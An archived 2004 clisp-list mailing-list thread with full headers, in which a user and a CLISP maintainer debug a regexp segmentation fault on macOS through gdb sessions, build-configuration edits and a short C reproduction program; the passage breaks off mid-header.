RC4-SHA (128/128 bits)) (No client certificate requested) (sasl: method=PLAIN, username=gtg385h, sender=n/a) by mailprx5.gatech.edu (Postfix) with ESMTP id 5381D3A618 for ; Mon, 14 Jun 2004 14:07:09 -0400 (EDT) (envelope-from dbueno@stygian.net) Mime-Version: 1.0 (Apple Message framework v618) In-Reply-To: References: <23B23D70-B8E9-11D8-A95F-000393D3BA14@stygian.net> Content-Type: text/plain; charset=US-ASCII; delsp=yes; format=flowed Message-Id: Content-Transfer-Encoding: 7bit From: Denis Bueno Subject: Re: [clisp-list] Re: CLISP 2.33.2 segmentation fault To: clisp-list@lists.sourceforge.net X-Mailer: Apple Mail (2.618) X-Spam-Score: 1.9 (+) X-Spam-Report: Spam Filtering performed by sourceforge.net. See http://spamassassin.org/tag/ for more details. Report problems to http://sf.net/tracker/?func=add&group_id=1&atid=200001 0.0 HTML_MESSAGE BODY: HTML included in message 1.9 WEIRD_PORT URI: Uses non-standard port number for HTTP Sender: clisp-list-admin@lists.sourceforge.net Errors-To: clisp-list-admin@lists.sourceforge.net X-BeenThere: clisp-list@lists.sourceforge.net X-Mailman-Version: 2.0.9-sf.net Precedence: bulk List-Unsubscribe: , List-Id: CLISP user discussion List-Post: List-Help: List-Subscribe: , List-Archive: Date: Mon Jun 14 11:09:43 2004 X-Original-Date: Mon, 14 Jun 2004 14:07:10 -0400 On 14 Jun 2004, at 10.20, Sam Steingold wrote: >> (gdb) run >> Starting program: >> /Users/Shared/Download/clisp-2.33.2/build-g/full/lisp.run -B . -M >> full/lispinit.mem -q -norc -i clx/new-clx/demos/clx-demos -p CLX-DEMOS >> STACK depth: 16367 >> ;; Loading file >> /Users/Shared/Download/clisp-2.33.2/build-g/clx/new-clx/demos/clx- >> demos.lisp ... >> *** - FIND-SYMBOL: There is no package with name "XLIB" >> The following restarts are available: >> USE-VALUE :R1 You may input a value to be used instead. >> >> Break 1 [2]> :a >> >> [1]> (regexp:match "." "aoeu") >> >> Breakpoint 10, C_subr_regexp_regexp_compile () at regexi.c:24 >> 24 object pattern = check_string(STACK_4); >> (gdb) p re >> $3 = (regex_t *) 0x87859393 >> (gdb) p re->re_nsub >> Cannot access memory at address 0x878593ab > > of course: re is not initialized yes. > you have to step until _after_ regcomp(). > >> ... (I did 'help breakpoints' here, &c., the 'continue'd.) >> >> Program received signal EXC_BAD_ACCESS, Could not access memory. >> 0x000035e0 in C_subr_regexp_regexp_exec () at regexi.c:103 >> 103 ret = >> (regmatch_t*)alloca((re->re_nsub+1)*sizeof(regmatch_t)); >> (gdb) p re >> $4 = (regex_t *) 0x1100db0 >> (gdb) p re->re_nsub >> $5 = 687865856 >> (gdb) > > good. also, please do > > p re > p *re > > after regcomp() in C_subr_regexp_regexp_compile() and > before alloca() in C_subr_regexp_regexp_exec() (gdb) full Function "my_type_error" not defined. Function "closed_display_error" not defined. (gdb) break C_subr_regexp_regexp_compile Breakpoint 10 at 0x26ec: file regexi.c, line 24. (gdb) break C_subr_regexp_regexp_exec Breakpoint 11 at 0x2eb4: file regexi.c, line 71. (gdb) break alloc allocStatus allocate_cons allocate_lfloat allocate_syntax_table alloc_segs allocate_dfloat allocate_pages allocate_vector alloc_trampoline_r allocate_ffloat allocate_perchar_table allocate_weakkvt allocaing allocate_fpointer allocate_s16string allocate_weakkvt_low allocaing_room_pointer allocate_iarray allocate_s32string allocate_xrecord_ allocate_bignum allocate_imm_s16string allocate_s8string allocated.3 allocate_bit_vector allocate_imm_s32string allocate_srecord_ alloced.0 allocate_bit_vector_0 allocate_imm_s8string allocate_stream allocset (gdb) break alloca allocaing allocate_ffloat allocate_pages allocate_syntax_table allocaing_room_pointer allocate_fpointer allocate_perchar_table allocate_vector allocate_bignum allocate_iarray allocate_s16string allocate_weakkvt allocate_bit_vector allocate_imm_s16string allocate_s32string allocate_weakkvt_low allocate_bit_vector_0 allocate_imm_s32string allocate_s8string allocate_xrecord_ allocate_cons allocate_imm_s8string allocate_srecord_ allocated.3 allocate_dfloat allocate_lfloat allocate_stream (gdb) break alloca allocaing allocate_ffloat allocate_pages allocate_syntax_table allocaing_room_pointer allocate_fpointer allocate_perchar_table allocate_vector allocate_bignum allocate_iarray allocate_s16string allocate_weakkvt allocate_bit_vector allocate_imm_s16string allocate_s32string allocate_weakkvt_low allocate_bit_vector_0 allocate_imm_s32string allocate_s8string allocate_xrecord_ allocate_cons allocate_imm_s8string allocate_srecord_ allocated.3 allocate_dfloat allocate_lfloat allocate_stream (gdb) break regcomp Breakpoint 12 at 0x90030bd8 (gdb) run Starting program: /Users/Shared/Download/clisp-2.33.2/build-g/full/lisp.run -B . -M full/lispinit.mem -q -norc -i clx/new-clx/demos/clx-demos -p CLX-DEMOS Reading symbols for shared libraries +. done STACK depth: 16367 ;; Loading file /Users/Shared/Download/clisp-2.33.2/build-g/clx/new-clx/demos/clx- demos.lisp ... *** - FIND-SYMBOL: There is no package with name "XLIB" The following restarts are available: USE-VALUE :R1 You may input a value to be used instead. Break 1 [2]> :a [1]> (regexp:match "." "aoeu") Breakpoint 10, C_subr_regexp_regexp_compile () at regexi.c:24 24 object pattern = check_string(STACK_4); (gdb) p re $1 = (regex_t *) 0x87859393 (gdb) p *reg No symbol "reg" in current context. (gdb) p *re Cannot access memory at address 0x87859393 (gdb) continue Continuing. Breakpoint 12, 0x90030bd8 in regcomp () (gdb) p re No symbol "re" in current context. (gdb) continue Continuing. Breakpoint 11, C_subr_regexp_regexp_exec () at regexi.c:71 71 object string = (STACK_5 = check_string(STACK_5)); (gdb) kill Kill the program being debugged? (y or n) y (gdb) ful Function "my_type_error" not defined. Function "closed_display_error" not defined. (gdb) full Function "my_type_error" not defined. Function "closed_display_error" not defined. (gdb) run Starting program: /Users/Shared/Download/clisp-2.33.2/build-g/full/lisp.run -B . -M full/lispinit.mem -q -norc -i clx/new-clx/demos/clx-demos -p CLX-DEMOS STACK depth: 16367 ;; Loading file /Users/Shared/Download/clisp-2.33.2/build-g/clx/new-clx/demos/clx- demos.lisp ... *** - FIND-SYMBOL: There is no package with name "XLIB" The following restarts are available: USE-VALUE :R1 You may input a value to be used instead. Break 1 [2]> :a [1]> (regexp:match "." "aoeu") Breakpoint 10, C_subr_regexp_regexp_compile () at regexi.c:24 24 object pattern = check_string(STACK_4); (gdb) p re $1 = (regex_t *) 0x87859393 (gdb) continue Continuing. Breakpoint 12, 0x90030bd8 in regcomp () (gdb) p re No symbol "re" in current context. (gdb) step Single stepping until exit from function regcomp, which has no line number information. C_subr_regexp_regexp_compile () at regexi.c:38 38 if (status) { (gdb) p re $2 = (regex_t *) 0x1100db0 (gdb) p *re $3 = { buffer = 0xf265 "^", allocated = 0, used = 1835103331, syntax = 17829600, fastmap = 0x22202261
, translate = 0x6f657522
, re_nsub = 687865856, can_be_null = 0, regs_allocated = 0, fastmap_accurate = 0, no_sub = 0, not_bol = 0, not_eol = 0, newline_anchor = 0 } (gdb) continue Continuing. Breakpoint 11, C_subr_regexp_regexp_exec () at regexi.c:71 71 object string = (STACK_5 = check_string(STACK_5)); (gdb) p re $4 = (regex_t *) 0x5f34 (gdb) p *re $5 = { buffer = 0x7fe802a6
, allocated = 2424176744, used = 2426273900, syntax = 2428371056, fastmap = 0x90de0074
, translate = 0x801e0068
, re_nsub = 796917760, can_be_null = 0, regs_allocated = 2, fastmap_accurate = 0, no_sub = 0, not_bol = 0, not_eol = 0, newline_anchor = 1 } (gdb) Are these breakpoints sufficient? I could not find the alloca() function ... am I missing something? -- Denis Bueno PGP: http://pgp.mit.edu:11371/pks/lookup?search=0xA1B51B4B&op=index "MEGAHERTZ: This is a really, really big hertz." - Dave Barry From sds@gnu.org Mon Jun 14 12:34:15 2004 Received: from sc8-sf-mx2-b.sourceforge.net ([10.3.1.12] helo=sc8-sf-mx2.sourceforge.net) by sc8-sf-list1.sourceforge.net with esmtp (Exim 4.30) id 1BZxDi-0007Ux-3O for clisp-list@lists.sourceforge.net; Mon, 14 Jun 2004 12:34:14 -0700 Received: from fw-ext.alphatech.com ([198.112.236.6] helo=alphatech.com) by sc8-sf-mx2.sourceforge.net with esmtp (Exim 4.30) id 1BZxDh-0007OA-03 for clisp-list@lists.sourceforge.net; Mon, 14 Jun 2004 12:34:13 -0700 Received: from WINSTEINGOLDLAP ([10.0.64.31]) by alphatech.com (8.12.10/8.12.10) with ESMTP id i5EJY0rw001878; Mon, 14 Jun 2004 15:34:03 -0400 (EDT) To: clisp-list@lists.sourceforge.net, Denis Bueno Mail-Copies-To: never Reply-to: clisp-list@lists.sourceforge.net X-Attribution: Sam X-Disclaimer: You should not expect anyone to agree with me. From: Sam Steingold In-Reply-To: (Denis Bueno's message of "Mon, 14 Jun 2004 14:07:10 -0400") References: <23B23D70-B8E9-11D8-A95F-000393D3BA14@stygian.net> Mail-Followup-To: clisp-list@lists.sourceforge.net, Denis Bueno Message-ID: User-Agent: Gnus/5.1003 (Gnus v5.10.3) Emacs/21.3.50 (windows-nt) MIME-Version: 1.0 Content-Type: text/plain X-Spam-Score: 0.0 (/) X-Spam-Report: Spam Filtering performed by sourceforge.net. See http://spamassassin.org/tag/ for more details. Report problems to http://sf.net/tracker/?func=add&group_id=1&atid=200001 Subject: [clisp-list] Re: CLISP 2.33.2 segmentation fault Sender: clisp-list-admin@lists.sourceforge.net Errors-To: clisp-list-admin@lists.sourceforge.net X-BeenThere: clisp-list@lists.sourceforge.net X-Mailman-Version: 2.0.9-sf.net Precedence: bulk List-Unsubscribe: , List-Id: CLISP user discussion List-Post: List-Help: List-Subscribe: , List-Archive: Date: Mon Jun 14 12:35:06 2004 X-Original-Date: Mon, 14 Jun 2004 15:34:00 -0400 > * Denis Bueno [2004-06-14 14:07:10 -0400]: > > (gdb) break alloca alloca is a GCC built-in, you cannot break in it. > C_subr_regexp_regexp_compile () at regexi.c:38 > 38 if (status) { > (gdb) p re > $2 = (regex_t *) 0x1100db0 > (gdb) p *re > $3 = { > buffer = 0xf265 "^", > allocated = 0, > used = 1835103331, > syntax = 17829600, > fastmap = 0x22202261
, > translate = 0x6f657522
, > re_nsub = 687865856, ^^^^^^^^^ ouch!!! > can_be_null = 0, > regs_allocated = 0, > fastmap_accurate = 0, > no_sub = 0, > not_bol = 0, > not_eol = 0, > newline_anchor = 0 > } > (gdb) continue > Continuing. > > Breakpoint 11, C_subr_regexp_regexp_exec () at regexi.c:71 > 71 object string = (STACK_5 = check_string(STACK_5)); at this time re is not initialized yes. you must step through until it it. please do it and make sure that C_subr_regexp_regexp_exec gets the same re as in C_subr_regexp_regexp_compile above. please look at build/regexp/link.sh and report the NEW_FILES= and NEW_LIBS= lines. if they do not contain regex.o, this means that you are using the OS-supplied regexp implementation. Otherwise this is a platform-specific bug in gnu regexp... -- Sam Steingold (http://www.podval.org/~sds) running w2k Microsoft: announce yesterday, code today, think tomorrow. From dbueno@stygian.net Mon Jun 14 13:15:42 2004 Received: from sc8-sf-mx1-b.sourceforge.net ([10.3.1.11] helo=sc8-sf-mx1.sourceforge.net) by sc8-sf-list1.sourceforge.net with esmtp (Exim 4.30) id 1BZxro-0008FN-Ch for clisp-list@lists.sourceforge.net; Mon, 14 Jun 2004 13:15:40 -0700 Received: from hellmouth3.gatech.edu ([130.207.165.163] ident=postfix) by sc8-sf-mx1.sourceforge.net with esmtp (TLSv1:DES-CBC3-SHA:168) (Exim 4.30) id 1BZxrn-0005nK-Mo for clisp-list@lists.sourceforge.net; Mon, 14 Jun 2004 13:15:39 -0700 Received: from hellmouth3.gatech.edu (localhost [127.0.0.1]) by hellmouth3.gatech.edu (Postfix) with SMTP id 7704522117B for ; Mon, 14 Jun 2004 16:13:57 -0400 (EDT) (envelope-from dbueno@stygian.net) Received: from mailprx2.gatech.edu (mailprx2.prism.gatech.edu [130.207.171.21]) (using TLSv1 with cipher EDH-RSA-DES-CBC3-SHA (168/168 bits)) (Client CN "smtp.mail.gatech.edu", Issuer "RSA Data Security? Inc." (verified OK)) by hellmouth3.gatech.edu (Postfix) with ESMTP id 0C750221210 for ; Mon, 14 Jun 2004 16:13:47 -0400 (EDT) (envelope-from dbueno@stygian.net) Received: from [192.168.10.252] (chinook.stl.gtri.gatech.edu [130.207.197.81]) (using TLSv1 with cipher RC4-SHA (128/128 bits)) (No client certificate requested) (sasl: method=PLAIN, username=gtg385h, sender=n/a) by mailprx2.gatech.edu (Postfix) with ESMTP id 09F303A611 for ; Mon, 14 Jun 2004 16:13:45 -0400 (EDT) (envelope-from dbueno@stygian.net) Mime-Version: 1.0 (Apple Message framework v618) In-Reply-To: References: <23B23D70-B8E9-11D8-A95F-000393D3BA14@stygian.net> Content-Type: text/plain; charset=US-ASCII; format=flowed Message-Id: <557311C2-BE3F-11D8-9113-000393D3BA14@stygian.net> Content-Transfer-Encoding: 7bit From: Denis Bueno To: clisp-list@lists.sourceforge.net X-Mailer: Apple Mail (2.618) X-Spam-Score: 1.9 (+) X-Spam-Report: Spam Filtering performed by sourceforge.net. See http://spamassassin.org/tag/ for more details. Report problems to http://sf.net/tracker/?func=add&group_id=1&atid=200001 0.0 HTML_MESSAGE BODY: HTML included in message 1.9 WEIRD_PORT URI: Uses non-standard port number for HTTP Subject: [clisp-list] Re: CLISP 2.33.2 segmentation fault Sender: clisp-list-admin@lists.sourceforge.net Errors-To: clisp-list-admin@lists.sourceforge.net X-BeenThere: clisp-list@lists.sourceforge.net X-Mailman-Version: 2.0.9-sf.net Precedence: bulk List-Unsubscribe: , List-Id: CLISP user discussion List-Post: List-Help: List-Subscribe: , List-Archive: Date: Mon Jun 14 13:17:47 2004 X-Original-Date: Mon, 14 Jun 2004 16:13:43 -0400 On 14 Jun 2004, at 15.34, Sam Steingold wrote: >> * Denis Bueno [2004-06-14 14:07:10 -0400]: >> >> (gdb) break alloca > > alloca is a GCC built-in, you cannot break in it. Oh. >> Breakpoint 11, C_subr_regexp_regexp_exec () at regexi.c:71 >> 71 object string = (STACK_5 = check_string(STACK_5)); > > at this time re is not initialized yes. > you must step through until it it. > please do it and make sure that C_subr_regexp_regexp_exec gets the same > re as in C_subr_regexp_regexp_compile above. There are comments in /* ... */ blocks to the side. Just two of them. [1]> (regexp:match "." "aoeu") Breakpoint 11, C_subr_regexp_regexp_compile () at regexi.c:24 24 object pattern = check_string(STACK_4); (gdb) step ... (gdb) step C_subr_regexp_regexp_compile () at regexi.c:25 25 int cflags = (missingp(STACK_0) ? 0 : REG_NOSUB) | (gdb) step ... (gdb) step 32 re = (regex_t*)my_malloc(sizeof(regex_t)); (gdb) p re $1 = (regex_t *) 0x87859393 (gdb) p *re Cannot access memory at address 0x87859393 (gdb) step my_malloc (size=32) at spvw.d:615 615 var void* ptr = malloc(size); (gdb) p re No symbol "re" in current context. (gdb) step 617 if (ptr) (gdb) step 618 return ptr; (gdb) step 621 } (gdb) step C_subr_regexp_regexp_compile () at regexi.c:37 37 }); (gdb) p re $2 = (regex_t *) 0x1100db0 /* VAL when init'd (Denis) */ (gdb) p *re $3 = { buffer = 0x28726567
, allocated = 1702391866, used = 1835103331, syntax = 1746936366, fastmap = 0x22202261
, translate = 0x6f657522
, re_nsub = 687865856, can_be_null = 0, regs_allocated = 0, fastmap_accurate = 0, no_sub = 0, not_bol = 0, not_eol = 0, newline_anchor = 0 } (gdb) step ... Breakpoint 12, 0x90030bd8 in regcomp () (gdb) continue Continuing. Breakpoint 10, C_subr_regexp_regexp_exec () at regexi.c:71 71 object string = (STACK_5 = check_string(STACK_5)); (gdb) step check_string (obj={one_o = 445663237}) at error.d:937 937 while (!stringp(obj)) { ... (many steps) (gdb) step C_subr_regexp_regexp_exec () at regexi.c:86 86 re = (regex_t*)TheFpointer(STACK_1)->fp_pointer; (gdb) step 87 if (re != NULL) break; (gdb) p re $6 = (regex_t *) 0x1100db0 /* Appears to be the same as above (Denis) */ (gdb) p *re $7 = { buffer = 0xf265 "^", allocated = 0, used = 1835103331, syntax = 17829728, fastmap = 0x22202261
, translate = 0x6f657522
, re_nsub = 687865856, can_be_null = 0, regs_allocated = 0, fastmap_accurate = 0, no_sub = 0, not_bol = 0, not_eol = 0, newline_anchor = 0 } (gdb) > please look at > > build/regexp/link.sh > > and report the NEW_FILES= and NEW_LIBS= lines. > if they do not contain regex.o, this means that you are using the > OS-supplied regexp implementation. NEW_FILES="$file_list regexp.dvi" NEW_LIBS="$file_list " > Otherwise this is a platform-specific bug in gnu regexp... So since regex.o is not in the listing, it is not a platform-specific bug in GNU regexp? -- Denis Bueno PGP: http://pgp.mit.edu:11371/pks/lookup?search=0xA1B51B4B&op=index "Anoint, v.: To grease a king or other great functionary already sufficiently slippery." - Ambrose Bierce, The Devil's Dictionary From sds@gnu.org Mon Jun 14 13:45:01 2004 Received: from sc8-sf-mx2-b.sourceforge.net ([10.3.1.12] helo=sc8-sf-mx2.sourceforge.net) by sc8-sf-list1.sourceforge.net with esmtp (Exim 4.30) id 1BZyKC-0006KF-Qh for clisp-list@lists.sourceforge.net; Mon, 14 Jun 2004 13:45:00 -0700 Received: from fw-ext.alphatech.com ([198.112.236.6] helo=alphatech.com) by sc8-sf-mx2.sourceforge.net with esmtp (Exim 4.30) id 1BZyK7-00025B-LA for clisp-list@lists.sourceforge.net; Mon, 14 Jun 2004 13:44:55 -0700 Received: from WINSTEINGOLDLAP ([10.0.64.31]) by alphatech.com (8.12.10/8.12.10) with ESMTP id i5EKifrw022346; Mon, 14 Jun 2004 16:44:42 -0400 (EDT) To: clisp-list@lists.sourceforge.net, Denis Bueno Mail-Copies-To: never Reply-to: clisp-list@lists.sourceforge.net X-Attribution: Sam X-Disclaimer: You should not expect anyone to agree with me. From: Sam Steingold In-Reply-To: <557311C2-BE3F-11D8-9113-000393D3BA14@stygian.net> (Denis Bueno's message of "Mon, 14 Jun 2004 16:13:43 -0400") References: <23B23D70-B8E9-11D8-A95F-000393D3BA14@stygian.net> <557311C2-BE3F-11D8-9113-000393D3BA14@stygian.net> Mail-Followup-To: clisp-list@lists.sourceforge.net, Denis Bueno Message-ID: User-Agent: Gnus/5.1003 (Gnus v5.10.3) Emacs/21.3.50 (windows-nt) MIME-Version: 1.0 Content-Type: text/plain X-Spam-Score: 0.0 (/) X-Spam-Report: Spam Filtering performed by sourceforge.net. See http://spamassassin.org/tag/ for more details. Report problems to http://sf.net/tracker/?func=add&group_id=1&atid=200001 Subject: [clisp-list] Re: CLISP 2.33.2 segmentation fault Sender: clisp-list-admin@lists.sourceforge.net Errors-To: clisp-list-admin@lists.sourceforge.net X-BeenThere: clisp-list@lists.sourceforge.net X-Mailman-Version: 2.0.9-sf.net Precedence: bulk List-Unsubscribe: , List-Id: CLISP user discussion List-Post: List-Help: List-Subscribe: , List-Archive: Date: Mon Jun 14 13:46:01 2004 X-Original-Date: Mon, 14 Jun 2004 16:44:41 -0400 > * Denis Bueno [2004-06-14 16:13:43 -0400]: > > (gdb) p re > $2 = (regex_t *) 0x1100db0 /* VAL when init'd > (Denis) */ > (gdb) p *re > $3 = { > buffer = 0x28726567
, > allocated = 1702391866, > used = 1835103331, > syntax = 1746936366, > fastmap = 0x22202261
, > translate = 0x6f657522
, > re_nsub = 687865856, > can_be_null = 0, > regs_allocated = 0, > fastmap_accurate = 0, > no_sub = 0, > not_bol = 0, > not_eol = 0, > newline_anchor = 0 > } > (gdb) p re > $6 = (regex_t *) 0x1100db0 /* Appears to be the same > as above (Denis) */ > (gdb) p *re > $7 = { > buffer = 0xf265 "^", > allocated = 0, > used = 1835103331, > syntax = 17829728, > fastmap = 0x22202261
, > translate = 0x6f657522
, > re_nsub = 687865856, > can_be_null = 0, > regs_allocated = 0, > fastmap_accurate = 0, > no_sub = 0, > not_bol = 0, > not_eol = 0, > newline_anchor = 0 > } > (gdb) good, so we are using the same re object. >> please look at >> >> build/regexp/link.sh >> >> and report the NEW_FILES= and NEW_LIBS= lines. >> if they do not contain regex.o, this means that you are using the >> OS-supplied regexp implementation. > > NEW_FILES="$file_list regexp.dvi" > NEW_LIBS="$file_list " > >> Otherwise this is a platform-specific bug in gnu regexp... > > So since regex.o is not in the listing, it is not a platform-specific > bug in GNU regexp? no, you are not using the GNU regexp that comes with CLISP. Now, there are 2 things to get done: 1. get you a working CLISP regexp. 2. get your OS vendor to fix the bug. For 1, you need to get CLISP to use the GNU regexp implementation that comes withe CLISP. Unfortunately, there is no option to force that. You need to go to your build directory and edit config.cache file. Find there the line ac_cv_func_regexec=${ac_cv_func_regexec=yes} and replace "yes" with "no" in it. then do "rm -rf regexp" and "make full". regexp will be re-configured using the cache you just tweaked. you should see something like Checking for regexec... (cached) no and the supplied regexp will be used. For 2, you need to read your regexp man pages and write a test program that crashes, and then report it to the party mentioned in the regexp man pages. The crash program will look like this: #include int main (int argc, char* argv[]) { char * pattern = argv[1]; char * subject = argv[2]; regex_t re; regmatch_t *rm; regcomp(&re,pattern,0); rm = (regmatch_t*)alloca((re->re_nsub+1)*sizeof(regmatch_t)); regexec(re,subject,re->re_nsub+1,rm,0); return 0; } (you should embellish it with printf() calls to show progress) -- Sam Steingold (http://www.podval.org/~sds) running w2k Daddy, what does "format disk c: complete" mean? From dbueno@stygian.net Mon Jun 14 14:21:59 2004 Received: from sc8-sf-mx2-b.sourceforge.net ([10.3.1.12] helo=sc8-sf-mx2.sourceforge.net) by sc8-sf-list1.sourceforge.net with esmtp (Exim 4.30) id 1BZyta-0005xM-R9 for clisp-list@lists.sourceforge.net; Mon, 14 Jun 2004 14:21:34 -0700 Received: from hellmouth2.gatech.edu ([130.207.165.162] ident=postfix) by sc8-sf-mx2.sourceforge.net with esmtp (TLSv1:DES-CBC3-SHA:168) (Exim 4.30) id 1BZyta-00048P-CP for clisp-list@lists.sourceforge.net; Mon, 14 Jun 2004 14:21:34 -0700 Received: from hellmouth2.gatech.edu (localhost [127.0.0.1]) by hellmouth2.gatech.edu (Postfix) with SMTP id 93DC8A54D for ; Mon, 14 Jun 2004 17:21:32 -0400 (EDT) (envelope-from dbueno@stygian.net) Received: from mailprx5.gatech.edu (mailprx5.prism.gatech.edu [130.207.171.19]) (using TLSv1 with cipher EDH-RSA-DES-CBC3-SHA (168/168 bits)) (Client CN "smtp.mail.gatech.edu", Issuer "RSA Data Security? Inc." (verified OK)) by hellmouth2.gatech.edu (Postfix) with ESMTP id 80BF9A53D for ; Mon, 14 Jun 2004 17:21:32 -0400 (EDT) (envelope-from dbueno@stygian.net) Received: from [192.168.10.252] (chinook.stl.gtri.gatech.edu [130.207.197.81]) (using TLSv1 with cipher RC4-SHA (128/128 bits)) (No client certificate requested) (sasl: method=PLAIN, username=gtg385h, sender=n/a) by mailprx5.gatech.edu (Postfix) with ESMTP id 38BF33A608 for ; Mon, 14 Jun 2004 17:21:32 -0400 (EDT) (envelope-from dbueno@stygian.net) Mime-Version: 1.0 (Apple Message framework v618) In-Reply-To: References: <23B23D70-B8E9-11D8-A95F-000393D3BA14@stygian.net> <557311C2-BE3F-11D8-9113-000393D3BA14@stygian.net> Content-Type: text/plain; charset=US-ASCII; format=flowed Message-Id: Content-Transfer-Encoding: 7bit From: Denis Bueno Subject: Re: [clisp-list] Re: CLISP 2.33.2 segmentation fault To: clisp-list@lists.sourceforge.net X-Mailer: Apple Mail (2.618) X-Spam-Score: 1.9 (+) X-Spam-Report: Spam Filtering performed by sourceforge.net. See http://spamassassin.org/tag/ for more details. Report problems to http://sf.net/tracker/?func=add&group_id=1&atid=200001 1.9 WEIRD_PORT URI: Uses non-standard port number for HTTP Sender: clisp-list-admin@lists.sourceforge.net Errors-To: clisp-list-admin@lists.sourceforge.net X-BeenThere: clisp-list@lists.sourceforge.net X-Mailman-Version: 2.0.9-sf.net Precedence: bulk List-Unsubscribe: , List-Id: CLISP user discussion List-Post: List-Help: List-Subscribe: , List-Archive: Date: Mon Jun 14 14:24:49 2004 X-Original-Date: Mon, 14 Jun 2004 17:21:32 -0400 On 14 Jun 2004, at 16.44, Sam Steingold wrote: > For 1, you need to get CLISP to use the GNU regexp implementation that > comes withe CLISP. Unfortunately, there is no option to force that. > You need to go to your build directory and edit config.cache file. > Find there the line > > ac_cv_func_regexec=${ac_cv_func_regexec=yes} > > and replace "yes" with "no" in it. > then do "rm -rf regexp" and "make full". > regexp will be re-configured using the cache you just tweaked. > you should see something like > > Checking for regexec... (cached) no > > and the supplied regexp will be used. Did that, saw the "Checking..." message, and verified that NEW_FILES and NEW_LIBS in build-g/regexp/link.sh include "regex.o". I ran $ build-g/clisp -K full ... [1]> (regexp:match "." "aoeu") and it segfaulted again. However, running $ cd build-g $ gdb (gdb) full (gdb) run ... and then running the lisp code does _not_ segfault. It evaluates to the correct result. So I ran $ build-g/full/lisp.run -B . -M full/lispinit.mem and ran the code, and it worked fine. I don't know what's going on. Do you? > For 2, you need to read your regexp man pages and write a test program > that crashes, and then report it to the party mentioned in the regexp > man pages. The crash program will look like this: > > #include > int main (int argc, char* argv[]) { > char * pattern = argv[1]; > char * subject = argv[2]; > regex_t re; > regmatch_t *rm; > regcomp(&re,pattern,0); > rm = (regmatch_t*)alloca((re->re_nsub+1)*sizeof(regmatch_t)); > regexec(re,subject,re->re_nsub+1,rm,0); > return 0; > } Wrote this, compiled it, gcc-3.3 -g -o regcrash regex-crash.c -lc and ran it like so: $ ./regcrash "." "aoeu" and $ ./regcrash . aoeu just for kicks. No crash (in particular, no segfault, rather). > (you should embellish it with printf() calls to show progress) #include #include #include int main (int argc, char* argv[]) { char * pattern = argv[1]; char * subject = argv[2]; regex_t re; regmatch_t *rm; printf("Pattern: %s\n", pattern); printf("Subject: %s\n", subject); regcomp(&re, pattern, 0); rm = (regmatch_t*) alloca((re.re_nsub+1) * sizeof(regmatch_t)); regexec(&re, subject, re.re_nsub + 1, rm, 0); return 0; } -- Denis Bueno PGP: http://pgp.mit.edu:11371/pks/lookup?search=0xA1B51B4B&op=index "To be positive: To be mistaken at the top of one's voice." - Ambrose Bierce From sds@gnu.org Mon Jun 14 14:59:54 2004 Received: from sc8-sf-mx2-b.sourceforge.net ([10.3.1.12] helo=sc8-sf-mx2.sourceforge.net) by sc8-sf-list1.sourceforge.net with esmtp (Exim 4.30) id 1BZzUg-0005Cc-IX for clisp-list@lists.sourceforge.net; Mon, 14 Jun 2004 14:59:54 -0700 Received: from fw-ext.alphatech.com ([198.112.236.6] helo=alphatech.com) by sc8-sf-mx2.sourceforge.net with esmtp (Exim 4.30) id 1BZzUg-0005mT-5J for clisp-list@lists.sourceforge.net; Mon, 14 Jun 2004 14:59:54 -0700 Received: from WINSTEINGOLDLAP ([10.0.64.31]) by alphatech.com (8.12.10/8.12.10) with ESMTP id i5ELxkrw012454; Mon, 14 Jun 2004 17:59:46 -0400 (EDT) To: clisp-list@lists.sourceforge.net, Denis Bueno Mail-Copies-To: never Reply-to: clisp-list@lists.sourceforge.net X-Attribution: Sam X-Disclaimer: You should not expect anyone to agree with me. From: Sam Steingold In-Reply-To: (Denis Bueno's message of "Mon, 14 Jun 2004 17:21:32 -0400") References: <23B23D70-B8E9-11D8-A95F-000393D3BA14@stygian.net> <557311C2-BE3F-11D8-9113-000393D3BA14@stygian.net> Mail-Followup-To: clisp-list@lists.sourceforge.net, Denis Bueno Message-ID: User-Agent: Gnus/5.1003 (Gnus v5.10.3) Emacs/21.3.50 (windows-nt) MIME-Version: 1.0 Content-Type: text/plain X-Spam-Score: 0.0 (/) X-Spam-Report: Spam Filtering performed by sourceforge.net. See http://spamassassin.org/tag/ for more details. Report problems to http://sf.net/tracker/?func=add&group_id=1&atid=200001 Subject: [clisp-list] Re: CLISP 2.33.2 segmentation fault Sender: clisp-list-admin@lists.sourceforge.net Errors-To: clisp-list-admin@lists.sourceforge.net X-BeenThere: clisp-list@lists.sourceforge.net X-Mailman-Version: 2.0.9-sf.net Precedence: bulk List-Unsubscribe: , List-Id: CLISP user discussion List-Post: List-Help: List-Subscribe: , List-Archive: Date: Mon Jun 14 15:00:14 2004 X-Original-Date: Mon, 14 Jun 2004 17:59:46 -0400 > * Denis Bueno [2004-06-14 17:21:32 -0400]: > > and ran the code, and it worked fine. > I don't know what's going on. Do you? caching? try "rm clisp; make clisp" >> (you should embellish it with printf() calls to show progress) > > #include > #include > #include > > int main (int argc, char* argv[]) { > char * pattern = argv[1]; > char * subject = argv[2]; > regex_t re; > regmatch_t *rm; > > printf("Pattern: %s\n", pattern); > printf("Subject: %s\n", subject); > > regcomp(&re, pattern, 0); > rm = (regmatch_t*) alloca((re.re_nsub+1) * sizeof(regmatch_t)); > regexec(&re, subject, re.re_nsub + 1, rm, 0); > > return 0; > } you should also print re.re_nsub and the matching substrings (see C_subr_regexp_regexp_exec). -- Sam Steingold (http://www.podval.org/~sds) running w2k Binaries die but source code lives forever. From dbueno@stygian.net Tue Jun 15 09:57:44 2004 Received: from sc8-sf-mx1-b.sourceforge.net ([10.3.1.11] helo=sc8-sf-mx1.sourceforge.net) by sc8-sf-list1.sourceforge.net with esmtp (Exim 4.30) id 1BaHFo-0001sD-BX for clisp-list@lists.sourceforge.net; Tue, 15 Jun 2004 09:57:44 -0700 Received: from hellmouth2.gatech.edu ([130.207.165.162] ident=postfix) by sc8-sf-mx1.sourceforge.net with esmtp (TLSv1:DES-CBC3-SHA:168) (Exim 4.30) id 1BaHFl-0000jY-R6 for clisp-list@lists.sourceforge.net; Tue, 15 Jun 2004 09:57:41 -0700 Received: from hellmouth2.gatech.edu (localhost [127.0.0.1]) by hellmouth2.gatech.edu (Postfix) with SMTP id 5313DA4D4 for ; Tue, 15 Jun 2004 12:56:53 -0400 (EDT) (envelope-from dbueno@stygian.net) Received: from mailprx1.gatech.edu (mailprx1.prism.gatech.edu [130.207.171.15]) (using TLSv1 with cipher EDH-RSA-DES-CBC3-SHA (168/168 bits)) (Client CN "smtp.mail.gatech.edu", Issuer 